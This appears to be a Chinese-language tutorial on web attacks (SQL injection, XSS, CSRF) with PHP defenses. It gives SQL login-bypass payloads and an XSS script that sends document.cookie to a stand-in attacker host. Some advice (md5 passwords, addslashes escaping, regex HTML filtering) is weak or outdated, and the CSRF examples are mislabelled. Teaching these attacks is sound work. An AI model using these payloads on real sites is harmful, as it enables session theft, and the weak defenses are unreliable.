一、sql注入
解释:用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQLInjection,即SQL注入。
如:
比如用户登录例子,在用户名一栏输入ddd'OR 1=1;#,查询结果就会把所有用户的列表给列出来,绕过密码验证。
猜测表名,如插入ddd'OR (select count(*) from user)>0;#,通过返回结果猜测表的名字。
当知道表的名字后,可以开始验证表结构,如插入ddd'OR `username` IS NOT NULL;#,通过结果是否报错确定表结构;
接着灌水,等等。。。
防御:
1、使用mysqli、pdo等mysql扩展,使用sql预处理,如pdo预处理
$query= "SELECT * FROM user WHERE `username`=? AND `password`=?;";
$stmt= $dbh->prepare($query);
$stmt->execute(array($username,$password));
2、使用转义函数,如mysql_real_escape_string、addslashes,如
$username= mysql_real_escape_string($_POST['username']);
$password= mysql_real_escape_string(md5($_POST['password']);
二、xss攻击(CrossSite Scripting跨站攻击)
解释:xss表示CrossSiteScripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制。
如:
恶意插入文案:
<fontcolor='red'>哈哈哈</font>
恶意修改钓鱼链接:
<script>window.οnlοad=function(){document.links[0].href='xxx.attack-site.com'}</script>
盗取cookie:
<script>(function(){vars =document.createElement('script');s.src='xxx.attack-site.com/saveCookie.php?c='+escape(document.cookie);document.body.appendChild(s);})()</script>
ps:谷歌安全机制CSP可以检测xss攻击代码,详情请移步http://drops.wooyun.org/tips/1439
防御:
1、使用内置过滤函数,如htmlspecialchars、strip_tags、addslashes
2、使用正则匹配html代码匹配和过滤字符
ps:对于使用addslashes时,要去掉添加的反斜杠时,要使用stripslashes函数来去除
三、csrf攻击(Cross-siterequest forgery跨站伪造请求)
解释:CSRF(Cross-siterequest forgery跨站请求伪造,也被称为“oneclick attack”或者session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
如:
在线刷票,通过登录大量用户,将用户参数提交到相应api进行刷票。
学校网络公选课,爬虫抓取页面用户id和课程examid,提交到相应的api进行刷课。
防御:
1、进行手动客户端验证,验证客户端header的数据,如ip、ua、refere、时间戳等信息,确认是否是合理客户端。
2、提交参数添加token,后端将token存在session或者缓存中,前端通过密钥、应用信息、时间戳算出token,隐藏提交token(其实也不安全),后台拦截token并验证。
3、自定义http头属性,可以与上述token方法结合,如XMLHttpRequest对象使用函数setRequestHeader,jquery在事件beforeSend里填写相应操作
4、使用认证协议,如kerberos、cas等,各个开发平台还要安装各自的扩展,详情移步
kerberos:http://idior.cnblogs.com/archive/2006/03/20/354027.html
http://gost.isi.edu/publications/kerberos-neuman-tso.html